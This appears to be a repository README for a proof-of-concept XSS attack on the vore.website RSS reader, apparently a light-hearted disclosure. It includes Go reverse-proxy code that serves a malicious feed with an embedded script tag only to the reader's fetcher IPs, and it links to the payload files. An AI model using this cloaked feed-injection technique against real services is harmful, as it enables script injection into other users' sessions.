tserof_nosnoj
presentation | ||
.gitignore | ||
build_docker.sh | ||
docker-compose.yml | ||
Dockerfile | ||
findings.md | ||
i-had-fun-making-this | ||
main.go | ||
payload.js | ||
payload.xml | ||
payload2.js | ||
ReadMe.md |
What happen?
-
vore reaper requests
https://sequentialread.com/rss/
-
sequentialread.com custom reverse proxy detects vore reaper and returns custom XML
if strings.Trim(request.URL.Path, "/") == "rss" {
log.Printf("GET /rss from %s\n", ip)
if ip == "198.74.6.203" || ip == "69.61.2.229" || ip == "192.168.0.1" {
payloadDotXML, err := os.ReadFile("payload.xml")
if err != nil {
log.Printf("tserof_nosnoj 500 can't os.ReadFile(\"payload.xml\"): %s\n\n", err)
http.Error(responseWriter, "500 Internal Server Error", 500)
return
}
hash := md5.Sum(payloadDotXML)
responseWriter.Header().Add("Content-Type", "text/xml; charset=utf-8")
responseWriter.Header().Add("Content-Length", strconv.Itoa(len(payloadDotXML)))
responseWriter.Header().Add("etag", fmt.Sprintf("%x", hash[0:8]))
responseWriter.Write(payloadDotXML)
return
}
}
-
XML has an HTML script tag embedded inside a field that vore uses https://git.cyberia.club/forest/tserof-nosnoj/src/branch/master/payload.xml#L14
-
XSS payload executes on vore.website, greeting the
j3s
user https://git.cyberia.club/forest/tserof-nosnoj/src/branch/master/payload.js
see findings.md